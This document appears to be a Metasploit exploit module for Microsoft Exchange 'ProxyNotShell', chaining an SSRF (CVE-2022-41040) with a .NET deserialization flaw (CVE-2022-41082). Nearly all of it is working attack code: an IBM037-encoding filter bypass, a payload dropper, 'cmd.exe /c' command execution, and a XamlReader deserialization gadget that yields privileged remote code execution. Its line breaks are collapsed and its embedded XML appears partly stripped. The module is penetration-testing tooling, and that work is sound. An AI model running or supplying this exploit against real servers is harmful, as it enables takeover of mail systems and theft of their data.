## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Exchange include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyNotShell RCE', 'Description' => %q{ This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019. These vulnerabilities were patched in November 2022. }, 'Author' => [ 'Orange Tsai', # Discovery of ProxyShell SSRF 'Spencer McIntyre', # Metasploit module 'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis 'Piotr Bazydło', # Vulnerability analysis 'Rich Warren', # EEMS bypass via ProxyNotRelay 'Soroush Dalili' # EEMS bypass ], 'References' => [ [ 'CVE', '2022-41040' ], # ssrf [ 'CVE', '2022-41082' ], # rce [ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ], [ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ], [ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ], [ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ] ], 'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Platform' => ['windows'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Windows Dropper', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_dropper } ], [ 'Windows Command', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD], 'Type' => :windows_command } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'AKA' => ['ProxyNotShell'], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ]) ]) register_advanced_options([ OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]]) ]) end def check @ssrf_email ||= Faker::Internet.email res = send_http('GET', '/mapi/nspi/') return CheckCode::Unknown if res.nil? return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401 return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' # actually run the powershell cmdlet and see if it works, this will fail if: # * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN) # * the exchange emergency mitigation service M1 rule is in place return CheckCode::Safe unless execute_powershell('Get-Mailbox') CheckCode::Vulnerable rescue Msf::Exploit::Failed => e CheckCode::Safe(e.to_s) end def ibm037(string) string.encode('IBM037').force_encoding('ASCII-8BIT') end def send_http(method, uri, opts = {}) opts[:authentication] = { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'preferred_auth' => 'NTLM' } if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1' uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}" opts[:headers] = { 'X-Up-Devcap-Post-Charset' => 'IBM037', # technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362 'User-Agent' => "UP #{datastore['UserAgent']}" } else uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}" end super(method, uri, opts) end def exploit # if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not # work on Exchange Server 2016 if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version) vprint_status("Detected Exchange version: #{version}") if version < Rex::Version.new('15.2') fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)') end end @ssrf_email ||= Faker::Internet.email case target['Type'] when :windows_command vprint_status("Generated payload: #{payload.encoded}") execute_command(payload.encoded) when :windows_dropper execute_cmdstager({ linemax: 7_500 }) end end def execute_command(cmd, _opts = {}) xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root cmd.exe /c #{cmd.encode(xml: :text)} XAML identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root System.ServiceProcess.ServiceController System.Object Object Type System.Exception System.Object #{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)} IDENTITY execute_powershell('Get-Mailbox', args: [ { name: '-Identity', value: identity } ]) end end class XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream include Msf::Util::DotNetDeserialization def self.generate from_values([ Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1), Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values( class_info: Types::General::ClassInfo.new( obj_id: 1, name: 'System.UnitySerializationHolder', member_names: %w[Data UnityType AssemblyName] ), member_type_info: Types::General::MemberTypeInfo.new( binary_type_enums: %i[String Primitive String], additional_infos: [ 8 ] ), member_values: [ Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 2, string: 'System.Windows.Markup.XamlReader' )), 4, Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 3, string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' )) ] ), Types::RecordValues::MessageEnd.new ]) end end